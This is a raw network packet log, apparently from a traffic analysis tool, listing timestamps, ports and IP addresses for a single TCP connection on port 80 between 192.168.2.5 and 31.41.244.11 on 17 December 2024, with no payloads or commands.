Dec 17, 2024 08:03:32.905349970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.906119108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.906168938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.906235933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.906285048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.907025099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.907072067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.907130003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.907176018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.907943964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.907998085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.908023119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.908071041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.908871889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.908927917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.908991098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.909040928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.909763098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.909811020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.909893990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.909945011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.910662889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.910715103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.910783052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.910832882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.911588907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.911643028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.911709070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.911758900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.912609100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.912656069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.912698030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.912746906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.913441896 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.913487911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.913621902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.913669109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.914364100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.914413929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.914452076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.914500952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.915254116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.915298939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.915353060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.915397882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.916158915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.916204929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.916243076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.916285992 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.917058945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.917104006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.917176008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.917221069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.918049097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.918097019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.918185949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.918231010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.918930054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.918973923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.919007063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.919050932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.919811964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.919858932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.919975042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.920021057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.920803070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.920850039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.920892954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.920938969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.921665907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.921710968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.921776056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.921822071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.922581911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.922626019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.922672033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.922717094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.923657894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.923703909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.923746109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.923789978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.924385071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.924432039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.924480915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.924525976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.925316095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.925358057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.925446987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.925493002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.926214933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.926260948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.926364899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.926418066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.927112103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.927156925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.071634054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.071706057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.071762085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.071830034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.071899891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.071922064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.071970940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.072757006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.072801113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.072840929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.072884083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.073653936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.073699951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.073785067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.073925972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.074572086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.074620962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.074686050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.074732065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.075489044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.075541019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.075577021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.075618982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.076406956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.076448917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.076519966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.076571941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.077323914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.077470064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.077518940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.078242064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.078363895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.078407049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.079149961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.079197884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.079360008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.080162048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.080203056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.080212116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.080564022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.080997944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.081140995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.081193924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.081912994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.082070112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.082115889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.082840919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.082889080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.082978964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.083755016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.083798885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.083851099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.084566116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.084716082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.084830046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.084875107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.085573912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.085692883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.085738897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.086461067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.086505890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.086579084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.087474108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.087522030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.087522030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.088323116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.088376045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.088407993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.088450909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.089209080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.089334965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.089382887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.090162992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.090280056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.090322971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.091054916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.091101885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.091185093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.092012882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.092057943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.092092037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.092565060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.092953920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.093061924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.093106985 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.093811035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.093926907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.093972921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.094715118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.094760895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.094819069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.095653057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.095707893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.095736980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.095781088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.096546888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.096658945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.096707106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.097480059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.097608089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.097652912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.098375082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.098421097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.098495007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.099333048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.099384069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.099407911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.099452019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.100287914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.100305080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.100352049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.101146936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.101264954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.101310968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.102046013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.102092981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.102169037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.102981091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.103028059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.103072882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.103890896 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.103938103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.103984118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.104026079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.104964018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.105120897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.105168104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.105709076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.105818033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.105865955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.106854916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.106904030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.106949091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.107619047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.107795000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.107841015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.107914925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.107966900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.108464003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.108511925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.108567953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.108614922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.109392881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.109458923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.109488010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.109539032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.110336065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.110383034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.110450983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.110497952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.111205101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.111248970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.111324072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.111371040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.112107038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.112154007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.112158060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.112201929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.113111973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.113169909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.113214970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.113961935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.114067078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.114113092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.114881039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.115016937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.115065098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.115818024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.115864992 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.115931988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.116569042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.116831064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.116875887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.116887093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.116930008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.117662907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.117707968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.117754936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.117799997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.118544102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.118587971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.118633986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.118678093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.119441032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.119484901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.264215946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.264236927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.264264107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.264280081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.264300108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.264612913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.264671087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.265106916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.265151978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.265202045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.265245914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.266014099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.266061068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.266132116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.266226053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.266937971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.266989946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.267040968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.267081022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.267843962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.267883062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.267930984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.267968893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.268778086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.268910885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.268951893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.269709110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.269782066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.269817114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.270587921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.270631075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.270752907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.271156073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.271750927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.271806002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.271816969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.271951914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.272609949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.272635937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.272677898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.273447037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.273528099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.273574114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.274276972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.274326086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.274368048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.274429083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.275192976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.275244951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.275290012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.275403976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.276087999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.276130915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.276206017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.276319981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.277020931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.277179003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.277232885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.277913094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.278060913 CET	80	49867	31.41.244.11	192.168.2.5
